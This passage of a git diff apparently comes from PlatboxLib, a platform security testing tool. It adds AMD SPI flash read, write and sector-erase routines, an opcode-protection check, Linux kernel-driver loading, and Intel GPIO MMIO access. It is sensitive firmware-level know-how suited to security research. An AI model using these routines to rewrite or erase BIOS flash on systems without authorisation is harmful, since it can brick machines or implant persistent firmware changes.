1=MAC can access BIOS ROM space. SpiAccessMacRomEn. IF (Mode == SMI) Read-write. ELSE Read; Write-0-only. ENDIF. Reset: 1. - This is a clear-once protection bit. 0=Software cannot access MAC’s portion of the ROM space - (lower 512KB). 1=Software can access MAC’s portion of the ROM space + This is a clear-once protection bit. 0=Software cannot access MAC�s portion of the ROM space + (lower 512KB). 1=Software can access MAC�s portion of the ROM space */ DWORD spiCntrl0 = g_spi_registers.SPI_Cntrl0Value; int SpiAccessMacRomEn = (spiCntrl0 >> 22) & 1; @@ -68,7 +82,50 @@ void print_SPI_RestrictedCmds() { spiRestrictedCmd2->RestrictedCmdWoAddr1, spiRestrictedCmd2->RestrictedCmdWoAddr2); - // TODO Implement check for 01 06 C7 bytes + + // Write Status Register instruction (0x01) + // Write Enable (0x06) + // Chip Erase (0xC7) + + BOOL bWriteStatusRegBlocked = false; + BOOL bWriteEnableBlocked = false; + BOOL bChipEraseBlocked = false; + + UINT64 restricted_ops = (*(UINT64 *)spiRestrictedCmd2 << 32) | (*(UINT64 *) spiRestrictedCmd); + for (int i = 0; i < 8; i++) { + BYTE op = (restricted_ops >> i*8) & 0xFF; + if (op == 0xC7) { + bChipEraseBlocked = true; + } + if (op == 0x06) { + bWriteEnableBlocked = true; + } + if (op == 0x01) { + bWriteStatusRegBlocked = true; + } + } + + // printf(" - Write Status Register Op (0x01): "); + // if (bWriteStatusRegBlocked == false) { + // print_red("FAILED (Not blocked)\n"); + // } else { + // print_green("OK\n"); + // } + + printf(" - Write Enable Op (0x06): "); + if (bWriteEnableBlocked == false) { + print_red("FAILED (Not blocked)\n"); + } else { + print_green("OK\n"); + } + + // printf(" - Chip Erase Op (0xC7): "); + // if (bChipEraseBlocked == false) { + // print_red("FAILED (Not blocked)\n"); + // } else { + // print_green("OK\n"); + // } + printf("\n"); } @@ -147,20 +204,38 @@ void print_SPI_x1D() { printf(" - AltSpiCsEn: %d\n", pAltSpiCs->AltSpiCsEn); } -void load_spi_information(DWORD spi_addr) { +void load_spi_information(DWORD spi_addr, bool new_chipset) { g_spi_addr = spi_addr; + bNewChipset = new_chipset; + read_physical_memory(g_spi_addr, sizeof(SPI), &g_spi_registers, false); - SPI_WRITE_ENABLE_OP = g_spi_registers.SPI_CmdValue1 & 0xFF; +// SPI_WRITE_ENABLE_OP = g_spi_registers.SPI_CmdValue1 & 0xFF; + SPI_WRITE_ENABLE_OP = 0x06; SPI_WRITE_DISABLE_OP = (g_spi_registers.SPI_CmdValue1 >> 8 ) & 0xFF; SPI_RDID_OP = (g_spi_registers.SPI_CmdValue1 >> 16 ) & 0xFF; SPI_WRITE_BYTE_OP = (g_spi_registers.SPI_CmdValue2 >> 24 ) & 0xFF; SPI_READ_OP = g_spi_registers.SPI_CmdValue2 & 0xFF; + SPI_WRITE32_OP = 0x12; + SPI_RDID_OP = 0x13; + SPI_READ_STATUS_REG1_OP = 0x05; g_flash_id = amd_spi_read_id(); + debug_print("Flash ID: %08x\n", g_flash_id); + + if (bNewChipset) { + AMD_FLASH_SIZE = 64 * 1024 * 1024; + AMD_FLASH_BASE = AMD_DEFAULT_NEW_MAPPED_FLASH_ADDRESS; + } else { + AMD_FLASH_SIZE = 16 * 1024 * 1024; + AMD_FLASH_BASE = AMD_DEFAULT_OLD_MAPPED_FLASH_ADDRESS; + } + + // @todo Redefine FLASH Size based on FlashID switch(g_flash_id) { case Winbond_25Q128JVS: + case Winbond_W25Q64FW: SPI_SECTOR_ERASE_OP = Winbond_25Q128JVS_SECTOR_ERASE_OP; break; default: @@ -175,7 +250,7 @@ void load_spi_information(DWORD spi_addr) { } -void print_spi_info() { +void print_spi_ctnl_info() { if (bSpiInformationInitialized == 0) { printf("err: amd_spi - SPI_ADDR not set!\n"); @@ -203,24 +278,47 @@ void print_spi_info() { } +void print_flash_info() { + /* + LPC_ROM_ADDRESS lpc_rom_addr_range1 = {0}; + lpc_rom_addr_range1.StartAddr = (DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_1_StartAddress << 16; + lpc_rom_addr_range1.EndAddr = ((DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_1_EndAddress << 16) | 0xffff; + + LPC_ROM_ADDRESS lpc_rom_addr_range2 = {0}; + lpc_rom_addr_range2.StartAddr = (DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_2_StartAddress << 16; + lpc_rom_addr_range2.EndAddr = ((DWORD)g_lpc_isa_bridge_registers.LPC_ROM_Address_Range_2_EndAddress << 16) | 0xffff; + + printf("LPC ROM Address Range1 Start: %lx\n", lpc_rom_addr_range1.StartAddr); + printf("LPC ROM Address Range1 End: %lx\n", lpc_rom_addr_range1.EndAddr); + printf("LPC ROM Address Range2 Start: %lx\n", lpc_rom_addr_range2.StartAddr); + printf("LPC ROM Address Range2 End: %lx\n", lpc_rom_addr_range2.EndAddr); + */ + printf("Flash Base: %016lx\n", AMD_FLASH_BASE); + printf("Flash Size: %08x\n", AMD_FLASH_SIZE); +} + void amd_spi_clear_fifo_ptr(volatile SPI *spi_base) { // DWORD SPI_Cntrl0 = spi_base->SPI_Cntrl0Value; // SPI_Cntrl0 |= 1<<20; // spi_base->SPI_Cntrl0Value = SPI_Cntrl0; - spi_base->SPI_Cntrl0.FifoPtrClr = 1; - while (spi_base->SPI_Cntrl1.FifoPtr != 0); + if (bNewChipset == false) { + spi_base->SPI_Cntrl0.FifoPtrClr = 1; + while (spi_base->SPI_Cntrl1.FifoPtr != 0); + } } void amd_spi_execute_command(volatile SPI *spi_base) { spi_base->CmdTrig = 0xff; while((spi_base->CmdTrig & 0x80) != 0); while(spi_base->SpiStatus.SpiBusy); + while(spi_base->SPI_Cntrl0.SpiBusy); } void amd_spi_write_enable(volatile SPI* spi_base) { amd_spi_clear_fifo_ptr(spi_base); - spi_base->CmdCode = SPI_WRITE_ENABLE_OP; // WREN + + spi_base->CmdCode = SPI_WRITE_ENABLE_OP; // WREN // Set RX Byte Count spi_base->RxByteCnt = 0; spi_base->TxByteCnt = 0; @@ -237,15 +335,15 @@ void amd_spi_print_fifo_stats(volatile SPI *spi_base) { DWORD amd_spi_read_id() { volatile SPI *spi_base = (volatile SPI *) map_physical_memory(g_spi_addr, PAGE_SIZE); amd_spi_clear_fifo_ptr(spi_base); - spi_base->CmdCode = SPI_RDID_OP; + spi_base->CmdCode = 0x9F; // TODO, FIX THIS // Set RX Byte Count spi_base->RxByteCnt = 3; spi_base->TxByteCnt = 0; amd_spi_execute_command(spi_base); - DWORD flash_id = (DWORD)spi_base->SPI_regx80 << 16; - flash_id |= (DWORD)spi_base->SPI_regx81 << 8; - flash_id |= (DWORD) spi_base->SPI_regx82; + DWORD flash_id = (DWORD)spi_base->mode24.SPI_regx80 << 16; + flash_id |= (DWORD)spi_base->mode24.SPI_regx81 << 8; + flash_id |= (DWORD) spi_base->mode24.SPI_regx82; unmap_physical_memory((void *) spi_base, PAGE_SIZE); @@ -254,12 +352,14 @@ DWORD amd_spi_read_id() { } void amd_spi_erase_4k_block(volatile SPI *spi_base_arg, UINT32 address) { - if (address > FLASH_SIZE) + if (address > AMD_FLASH_SIZE) { printf("invalid parameters for read_from_flash_index_mode\n"); return; } + debug_print("Erasing flash address: 0x%lx\n", address); + volatile SPI *spi_base; if (spi_base_arg) { @@ -271,19 +371,35 @@ void amd_spi_erase_4k_block(volatile SPI *spi_base_arg, UINT32 address) { amd_spi_write_enable(spi_base); amd_spi_clear_fifo_ptr(spi_base); + + if (bNewChipset) { + spi_base->mode32.SPI_regx80 = (address >> 24) & 0xFF; + spi_base->mode32.SPI_regx81 = (address >> 16) & 0xFF; + spi_base->mode32.SPI_regx82 = (address >> 8) & 0xFF; + spi_base->mode32.SPI_regx83 = (address >> 0) & 0xFF; - // Write address to read from into FIFO - spi_base->SPI_Cntrl1.SpiParamters = (address >> 16) & 0xFF; - spi_base->SPI_Cntrl1.SpiParamters = (address >> 8) & 0xFF; - spi_base->SPI_Cntrl1.SpiParamters = address & 0xFF; + spi_base->CmdCode = SPI_SECTOR_ERASE_OP; - spi_base->CmdCode = SPI_SECTOR_ERASE_OP; + // Set RX Byte Count + spi_base->RxByteCnt = 0; - // Set RX Byte Count - spi_base->RxByteCnt = 0; + // Set Tx Byte Count + spi_base->TxByteCnt = 4; + } else { + // Write address to read from into FIFO + spi_base->SPI_Cntrl1.SpiParamters = (address >> 16) & 0xFF; + spi_base->SPI_Cntrl1.SpiParamters = (address >> 8) & 0xFF; + spi_base->SPI_Cntrl1.SpiParamters = address & 0xFF; - // Set Tx Byte Count - spi_base->TxByteCnt = 3; + spi_base->CmdCode = SPI_SECTOR_ERASE_OP; + + // Set RX Byte Count + spi_base->RxByteCnt = 0; + + // Set Tx Byte Count + spi_base->TxByteCnt = 3; + } + amd_spi_execute_command(spi_base); @@ -293,7 +409,7 @@ void amd_spi_erase_4k_block(volatile SPI *spi_base_arg, UINT32 address) { } -void read_block_index_mode(volatile SPI *spi_base, UINT32 addr, BYTE *block) { +void read_block_index_mode24(volatile SPI *spi_base, UINT32 addr, BYTE *block) { /* * Reads 64 byte block from flash */ @@ -316,8 +432,35 @@ void read_block_index_mode(volatile SPI *spi_base, UINT32 addr, BYTE *block) { amd_spi_execute_command(spi_base); - memcpy(block, (void *) spi_base->FIFO, SPI_INDEX_MODE_READ_BLOCK_SIZE); + memcpy(block, (void *) &spi_base->mode24.FIFO[0], SPI_INDEX_MODE_READ_BLOCK_SIZE); +} +void read_block_index_mode32(volatile SPI *spi_base, UINT32 addr, BYTE *block) { + /* + * Reads 64 byte block from flash + */ + + amd_spi_clear_fifo_ptr(spi_base); + + // Write address to read from into SPI_Regx + spi_base->mode32.SPI_regx80 = (addr >> 24) & 0xFF; + spi_base->mode32.SPI_regx81 = (addr >> 16) & 0xFF; + spi_base->mode32.SPI_regx82 = (addr >> 8) & 0xFF; + spi_base->mode32.SPI_regx83 = (addr >> 0) & 0xFF; + + + // Set Read Opcode + spi_base->CmdCode = SPI_READ_OP; + + // Set TX Byte Count (address is 32 bits) + spi_base->TxByteCnt = 4; + + // Set RX for the block + spi_base->RxByteCnt = SPI_INDEX_MODE_READ_BLOCK_SIZE; + + amd_spi_execute_command(spi_base); + + memcpy(block, (void *) &spi_base->mode32.FIFO[0], SPI_INDEX_MODE_READ_BLOCK_SIZE); } void read_from_flash_index_mode(volatile SPI *spi_base_arg, UINT32 start_offset, @@ -329,8 +472,8 @@ void read_from_flash_index_mode(volatile SPI *spi_base_arg, UINT32 start_offset, return; } - if (start_offset > FLASH_SIZE - || (start_offset + length) > FLASH_SIZE + if (start_offset > AMD_FLASH_SIZE + || (start_offset + length) > AMD_FLASH_SIZE || (start_offset + length) < start_offset || out_buff == NULL) { @@ -359,13 +502,17 @@ void read_from_flash_index_mode(volatile SPI *spi_base_arg, UINT32 start_offset, // Remaining length UINT32 rlength = length; - //printf("Processing %d blocks\n", num_blocks); + //debug_print("Processing %d blocks\n", num_blocks); for (int i = 0 ; i < num_blocks; i++) { UINT32 addr = aligned_addr + i * SPI_INDEX_MODE_READ_BLOCK_SIZE; //memset(block, 0x00, SPI_INDEX_MODE_READ_BLOCK_SIZE); - read_block_index_mode(spi_base, addr, block); + if (bNewChipset) { + read_block_index_mode32(spi_base, addr, block); + } else { + read_block_index_mode24(spi_base, addr, block); + } - printf("reading block:[%d] - addr: %08x\n", i, addr); + debug_print("reading block:[%d] - addr: %08x\n", i, addr); // Handle first block if (i == 0) { @@ -399,27 +546,26 @@ void read_from_flash_index_mode(volatile SPI *spi_base_arg, UINT32 start_offset, void amd_dump_spi_flash_index_mode(const char *output_filename) { - char *rom_data = (char *) calloc(1, FLASH_SIZE); - read_from_flash_index_mode(NULL, 0, FLASH_SIZE, (BYTE *) rom_data); + char *rom_data = (char *) calloc(1, AMD_FLASH_SIZE); + read_from_flash_index_mode(NULL, 0, AMD_FLASH_SIZE, (BYTE *) rom_data); FILE *f = fopen(output_filename, "wb"); - fwrite(rom_data, FLASH_SIZE, 1, f); + fwrite(rom_data, AMD_FLASH_SIZE, 1, f); fclose(f); free(rom_data); } -void write_block_index_mode(volatile SPI *spi_base, UINT32 addr, BYTE *block) { +void write_block_index_mode24(volatile SPI *spi_base, UINT32 addr, BYTE *block) { /* * Writes a 8 byte block into flash */ - #ifdef __linux__ - usleep(200); - #else - Sleep(200); - #endif + //doSleep(200); + while(amd_spi_check_busy(spi_base)) { + doSleep(1); + } amd_spi_write_enable(spi_base); @@ -446,7 +592,46 @@ void write_block_index_mode(volatile SPI *spi_base, UINT32 addr, BYTE *block) { amd_spi_execute_command(spi_base); - printf("Writing 8 bytes into address: %08x\n", addr); + debug_print("Writing %d bytes into address: %08x\n", SPI_INDEX_MODE_WRITE_BLOCK_FIFO, addr); + +} + +void write_block_index_mode32(volatile SPI *spi_base, UINT32 addr, BYTE *block) { + /* + * Writes a 8 byte block into flash + */ + + //doSleep(125); + while(amd_spi_check_busy(spi_base)) { + doSleep(1); + } + + amd_spi_write_enable(spi_base); + + amd_spi_clear_fifo_ptr(spi_base); + + // Write address to read from into FIFO + spi_base->mode32.SPI_regx80 = (addr >> 24) & 0xFF; + spi_base->mode32.SPI_regx81 = (addr >> 16) & 0xFF; + spi_base->mode32.SPI_regx82 = (addr >> 8) & 0xFF; + spi_base->mode32.SPI_regx83 = (addr >> 0) & 0xFF; + + for (int i = 0; i < SPI_INDEX_MODE_WRITE_BLOCK_FIFO; i++) { + spi_base->mode32.FIFO[i] = block[i]; + } + + // Set Write Opcode + spi_base->CmdCode = SPI_WRITE32_OP; + + // Set TX Byte Count (address is 32 bits) + spi_base->TxByteCnt = 4 + SPI_INDEX_MODE_WRITE_BLOCK_FIFO; + + // Set RX for the block + spi_base->RxByteCnt = 0; + + amd_spi_execute_command(spi_base); + + debug_print("Writing %d bytes into address: %08x\n", SPI_INDEX_MODE_WRITE_BLOCK_FIFO, addr); } @@ -457,7 +642,19 @@ void write_4k_block(volatile SPI *spi_base, UINT32 addr, BYTE *block) { UINT32 iterations = SPI_INDEX_MODE_WRITE_BLOCK_4K / SPI_INDEX_MODE_WRITE_BLOCK_FIFO; for (int i = 0; i < iterations; i++) { UINT32 cur_addr = addr + i * SPI_INDEX_MODE_WRITE_BLOCK_FIFO; - write_block_index_mode(spi_base, cur_addr, &block[i * SPI_INDEX_MODE_WRITE_BLOCK_FIFO]); + if (bNewChipset) { + write_block_index_mode32( + spi_base, + cur_addr, + &block[i * SPI_INDEX_MODE_WRITE_BLOCK_FIFO] + ); + } else { + write_block_index_mode24( + spi_base, + cur_addr, + &block[i * SPI_INDEX_MODE_WRITE_BLOCK_FIFO] + ); + } } } @@ -468,8 +665,8 @@ void amd_spi_write_buffer(volatile SPI *spi_base_arg, UINT32 flash_address, BYTE return; } - if (flash_address > FLASH_SIZE - || (flash_address + in_length) > FLASH_SIZE + if (flash_address > AMD_FLASH_SIZE + || (flash_address + in_length) > AMD_FLASH_SIZE || (flash_address + in_length) < flash_address || in_buff == NULL) { @@ -522,8 +719,6 @@ void amd_spi_write_buffer(volatile SPI *spi_base_arg, UINT32 flash_address, BYTE else if (i == num_blocks - 1) { memcpy(block, pBuff, rlength); pBuff += rlength; - continue; - } // Handle middle blocks else { diff --git a/PlatboxLib/src/common_chipset.cpp b/PlatboxLib/src/common_chipset.cpp index 72ab0ba..a089d32 100644 --- a/PlatboxLib/src/common_chipset.cpp +++ b/PlatboxLib/src/common_chipset.cpp @@ -95,3 +95,16 @@ void get_tseg_region(UINT64 *base, UINT32 *size) { break; } } + +UINT16 get_smi_trigger_port() { + switch(get_processor_type()) { + case _INTEL_PROCESSOR: + return INTEL_SMI_TRIGGER_PORT; + break; + case _AMD_PROCESSOR: + return get_amd_smi_trigger_port(); + break; + } + + return 0; +} \ No newline at end of file diff --git a/PlatboxLib/src/global.cpp b/PlatboxLib/src/global.cpp index b2d2b37..b51dc19 100644 --- a/PlatboxLib/src/global.cpp +++ b/PlatboxLib/src/global.cpp @@ -1,7 +1,6 @@ #include "global.h" HANDLE g_hDevice = 0; - int DEBUG_MODE = 0; void debug_print(const char *fmt, ...) { @@ -179,9 +178,9 @@ char service_exe[512]; void install_driver(char *driverNameArg) { memset(service_exe, 0x00, sizeof(service_exe)); - #ifdef __linux__ - printf("install_driver Unimplemented!"); - exit(-1); + #ifdef __linux__ + system("insmod kernetix_km.ko"); + //exit(-1); #else // _WIN32 @@ -281,8 +280,7 @@ void stop_service() { void remove_driver() { #ifdef __linux__ - printf("remove_driver Unimplemented!"); - exit(-1); + system("rmmod kernetix_km"); #else // _WIN32 SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); @@ -346,4 +344,12 @@ void init_os_specifics() { resolve_nt_functions(); find_pml4_idx(); #endif +} + +void doSleep(UINT64 milliseconds) { + #ifdef _WIN32 + Sleep(milliseconds); + #else + usleep(milliseconds * 1000); // convert to ms to us + #endif } \ No newline at end of file diff --git a/PlatboxLib/src/intel/intel_chipset.cpp b/PlatboxLib/src/intel/intel_chipset.cpp index 5a9ed60..bc249c1 100644 --- a/PlatboxLib/src/intel/intel_chipset.cpp +++ b/PlatboxLib/src/intel/intel_chipset.cpp @@ -888,11 +888,7 @@ int _wait_spi_cycle(volatile _BIOS_HSFSTS_CTL *hsfsts_ctl) { break; } printf("Waiting for SPI Cycle to finish...\n"); -#ifdef __linux__ - usleep(100); -#else - Sleep(100); -#endif + doSleep(100); iterations--; } diff --git a/PlatboxLib/src/intel/intel_gpio.cpp b/PlatboxLib/src/intel/intel_gpio.cpp new file mode 100644 index 0000000..a25365c --- /dev/null +++ b/PlatboxLib/src/intel/intel_gpio.cpp @@ -0,0 +1,900 @@ +#include "intel_gpio.h" +#include "physmem.h" +#include "Util.h" +#include "pci.h" + +GPIO_PAD_CFG GPIO_PAD_CFG_GPP_S[8]; +GPIO_PAD_CFG GPIO_PAD_CFG_GPP_E[22]; +GPIO_PAD_CFG GPIO_PAD_CFG_GPP_K[12]; +GPIO_PAD_CFG GPIO_PAD_CFG_GPP_F[24]; + + +void print_pad_cfg_reg(GPIO_PAD_CFG *reg) { + printf(" GPIOTXSTATE: %u\n", reg->GPIOTXSTATE); + printf(" GPIORXSTATE: %u\n", reg->GPIORXSTATE); + printf(" GPIOTXDIS: %u\n", reg->GPIOTXDIS); + printf(" GPIORXDIS: %u\n", reg->GPIORXDIS); + printf(" PMODE: %u\n", reg->PMODE); + printf(" GPIROUTNMI: %u\n", reg->GPIROUTNMI); + printf(" GPIROUTSMI: %u\n", reg->GPIROUTSMI); + printf(" GPIROUTSCI: %u\n", reg->GPIROUTSCI); + printf(" GPIROUTIOXAPIC: %u\n", reg->GPIROUTIOXAPIC); + printf(" RXTXENCFG: %u\n", reg->RXTXENCFG); + printf(" RXINV: %u\n", reg->RXINV); + printf(" PREGFRXSEL: %u\n", reg->PREGFRXSEL); + printf(" RXEVCFG: %u\n", reg->RXEVCFG); + printf(" RXRAW1: %u\n", reg->RXRAW1); + printf(" RXPADSTSEL: %u\n", reg->RXPADSTSEL); + printf(" PADRSTCFG: %u\n", reg->PADRSTCFG); + printf(" INTSEL: %u\n", reg->INTSEL); + printf(" IOSTREM: %u\n", reg->IOSTREM); + printf(" TERM: %u\n", reg->TERM); + printf(" IOSTATE: %u\n", reg->IOSTATE); +} + + +void retrieve_gpio_gpp_f(struct GpioGroupSettings *pad) { + + char *gpio_mem = (char *) map_physical_memory(SBREG_BAR | (INTEL_PCR_ID_GPIOCOM4 << 0x10), PAGE_SIZE ); + + UINT32 *dw_ptr; + + pad->PadCfgLock = *(UINT32 *) (gpio_mem + GPIO_PADCFGLOCK_GPP_F_0); + pad->PadCfgLockTxState = *(UINT32 *) (gpio_mem + GPIO_PADCFGLOCKTX_GPP_F_0); + + dw_ptr = (UINT32 *) (gpio_mem + GPIO_PAD_CFG_DW0_GPP_F_0); + for (int i = 0 ; i < GPIO_GPP_F_COUNT; i++) { + pad->GpioConfig[i].dw0 = dw_ptr[0]; + pad->GpioConfig[i].dw1 = dw_ptr[1]; + // printf("DW0:[%08x] - DW1:[%08x]\n,", dw_ptr[0], dw_ptr[1]); + dw_ptr+= 4; + } + // print_pad_cfg_reg( (GPIO_PAD_CFG *)(gpio_mem + GPIO_PAD_CFG_DW0_GPP_F_15)); + // 02 01 00 84 32 00 00 00 00 09 00 00 00 00 00 00 + + unmap_physical_memory(gpio_mem, PAGE_SIZE); +} + +UINT32 PchSbMmioRead32(UINT32 community, UINT32 regOffset) { + UINT32 val = 0; + UINT64 pcr_reg = SBREG_BAR | (community << 0x10); + char *gpio_mem = (char *) map_physical_memory(pcr_reg, PAGE_SIZE); + debug_print("PchSbMmioRead32 at %016lx\n", pcr_reg + regOffset); + val = *(UINT32 *)(gpio_mem + regOffset); + unmap_physical_memory(gpio_mem, PAGE_SIZE); + return val; +} + +void PchSbMmioWrite32(UINT32 community, UINT32 regOffset, UINT32 val) { + char *gpio_mem = (char *) map_physical_memory(SBREG_BAR | (community << 0x10), PAGE_SIZE); + *(UINT32 *)(gpio_mem + regOffset) = val; + unmap_physical_memory(gpio_mem, PAGE_SIZE); +} + + +void PchSbMmioAndThenOr32(UINT32 community, UINT32 regOffset, UINT32 andMask, UINT32 orValue) +{ + char *gpio_mem = (char *) map_physical_memory(SBREG_BAR | (community << 0x10), PAGE_SIZE); + UINT32 *address = (UINT32 *)(gpio_mem + regOffset); + UINT32 currentValue = *address; // Read the current value from the MMIO register + UINT32 newValue = (currentValue & andMask) | orValue; // Apply the AND and OR operations + *address = newValue; // Write the new value back to the MMIO register + unmap_physical_memory(gpio_mem, PAGE_SIZE); +} + + +void print_gpio_community4_mem() { + + char *gpio_mem = (char *) map_physical_memory(SBREG_BAR | (INTEL_PCR_ID_GPIOCOM4 << 0x10), PAGE_SIZE ); + + print_memory(0, gpio_mem, PAGE_SIZE); + + unmap_physical_memory(gpio_mem, PAGE_SIZE); + +} + +//////////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// + +/* +.data:0000000000008D00 TargetGroupInfoArray1 GPIO_GROUP_INFO <6Eh, 20h, 0B0h, 100h, 120h, 140h, 160h, 180h, 1A0h, \ +.data:0000000000008D00 ; DATA XREF: GpioGetGroupInfoTable+13o +.data:0000000000008D00 1C0h, 1E0h, 80h, 84h, 700h, 1Ah> +.data:0000000000008D00 GPIO_GROUP_INFO <6Eh, 30h, 0B4h, 104h, 124h, 144h, 164h, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 88h, 8Ch, 8A0h, 10h> +.data:0000000000008D00 GPIO_GROUP_INFO <6Eh, 38h, 0B8h, 108h, 128h, 148h, 168h, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 90h, 94h, 9A0h, 19h> +.data:0000000000008D00 GPIO_GROUP_INFO <69h, 20h, 0B0h, 100h, 120h, 140h, 160h, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 80h, 84h, 700h, 8> +.data:0000000000008D00 GPIO_GROUP_INFO <69h, 24h, 0B4h, 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, 88h, 8Ch, 780h, 9> +.data:0000000000008D00 GPIO_GROUP_INFO <6Ch, 20h, 0B0h, 100h, 120h, 140h, 160h, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 80h, 84h, 700h, 11h> +.data:0000000000008D00 GPIO_GROUP_INFO <6Dh, 20h, 0B0h, 100h, 120h, 140h, 160h, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 80h, 84h, 700h, 8> +.data:0000000000008D00 GPIO_GROUP_INFO <6Dh, 24h, 0B4h, 104h, 124h, 144h, 164h, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 88h, 8Ch, 780h, 18h> +.data:0000000000008D00 GPIO_GROUP_INFO <6Dh, 30h, 0B8h, 108h, 128h, 148h, 168h, 188h, 1A8h, \ +.data:0000000000008D00 1C8h, 1E8h, 90h, 94h, 900h, 15h> +.data:0000000000008D00 GPIO_GROUP_INFO <6Dh, 3Ch, 0BCh, 10Ch, 12Ch, 14Ch, 16Ch, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 98h, 9Ch, 0A50h, 18h> +.data:0000000000008D00 GPIO_GROUP_INFO <6Dh, 48h, 0C0h, 110h, 130h, 150h, 170h, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 0A0h, 0A4h, 0BD0h, 1Dh> +.data:0000000000008D00 GPIO_GROUP_INFO <6Ah, 20h, 0B0h, 100h, 120h, 140h, 160h, 180h, 1A0h, \ +.data:0000000000008D00 1C0h, 1E0h, 80h, 84h, 700h, 18h> +.data:0000000000008D00 GPIO_GROUP_INFO <6Ah, 2Ch, 0B4h, 104h, 124h, 144h, 164h, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 88h, 8Ch, 880h, 19h> +.data:0000000000008D00 GPIO_GROUP_INFO <6Ah, 3Ch, 0B8h, 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, 90h, 94h, 0A10h, 6> +.data:0000000000008D00 GPIO_GROUP_INFO <6Ah, 40h, 0BCh, 10Ch, 12Ch, 14Ch, 16Ch, 18Ch, 1ACh, \ +.data:0000000000008D00 1CCh, 1ECh, 98h, 9Ch, 0A70h, 19h> +.data:0000000000008D00 GPIO_GROUP_INFO <6Ah, 50h, 0C0h, 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, 0A0h, 0A4h, 0C00h, \ +.data:0000000000008D00 0Ah> +.data:0000000000008D00 GPIO_GROUP_INFO <6Bh, 20h, 0B0h, 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, 80h, 84h, 700h, 0Fh> +.data:0000000000008D00 GPIO_GROUP_INFO <6Bh, 28h, 0B4h, 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, \ +.data:0000000000008D00 0FFFFh, 0FFFFh, 0FFFFh, 0FFFFh, 88h, 8Ch, 7F0h, 5Bh> +*/ + +GPIO_GROUP_INFO mPchLpGpioGroupInfo[] = { +{ 0x6E, 0x20, 0xB0, 0x100, 0x120, 0x140, 0x160, 0x180, 0x1A0, 0x1C0, 0x1E0, 0x80, 0x84, 0x700, 0x1A }, +{ 0x6E, 0x30, 0xB4, 0x104, 0x124, 0x144, 0x164, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0xFFFF, 0x88, 0x8C, 0x8A0, 0x10}, +{0x6E, 0x38, 0x0B8, 0x108, 0x128, 0x148, 0x168, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x90, 0x94, 0x9A0, 0x19 }, +{0x69, 0x20, 0x0B0, 0x100, 0x120, 0x140, 0x160, 0x0FFFF,0x0FFFF, 0x0FFFF, 0x0FFFF, 0x80, 0x84, 0x700, 0x8 }, +{0x69, 0x24, 0x0B4, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x88, 0x8C, 0x780, 0x9 }, +{0x6C, 0x20, 0x0B0, 0x100, 0x120, 0x140, 0x160, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x80, 0x84, 0x700, 0x11 }, +{0x6D, 0x20, 0x0B0, 0x100, 0x120, 0x140, 0x160, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x80, 0x84, 0x700, 0x8 }, +{0x6D, 0x24, 0x0B4, 0x104, 0x124, 0x144, 0x164, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x88, 0x8C, 0x780, 0x18 }, +{0x6D, 0x30, 0x0B8, 0x108, 0x128, 0x148, 0x168, 0x188, 0x1A8, 0x1C8, 0x1E8, 0x90, 0x94, 0x900, 0x15 }, +{0x6D, 0x3C, 0x0BC, 0x10C, 0x12C, 0x14C, 0x16C, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x98, 0x9C, 0x0A50, 0x18 }, +{0x6D, 0x48, 0x0C0, 0x110, 0x130, 0x150, 0x170, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0A0, 0x0A4, 0x0BD0, 0x1D }, +{0x6A, 0x20, 0x0B0, 0x100, 0x120, 0x140, 0x160, 0x180, 0x1A0, 0x1C0, 0x1E0, 0x80, 0x84, 0x700, 0x18 }, +{0x6A, 0x2C, 0x0B4, 0x104, 0x124, 0x144, 0x164, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x88, 0x8C, 0x880, 0x19 }, +{0x6A, 0x3C, 0x0B8, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x90, 0x94, 0x0A10, 0x6 }, +{0x6A, 0x40, 0x0BC, 0x10C, 0x12C, 0x14C, 0x16C, 0x18C, 0x1AC, 0x1CC, 0x1EC, 0x98, 0x9C, 0x0A70, 0x19 }, +{0x6A, 0x50, 0x0C0, 0x0FFFF, 0x0FFFF, 0x0FFFF, 0x0FFFF, 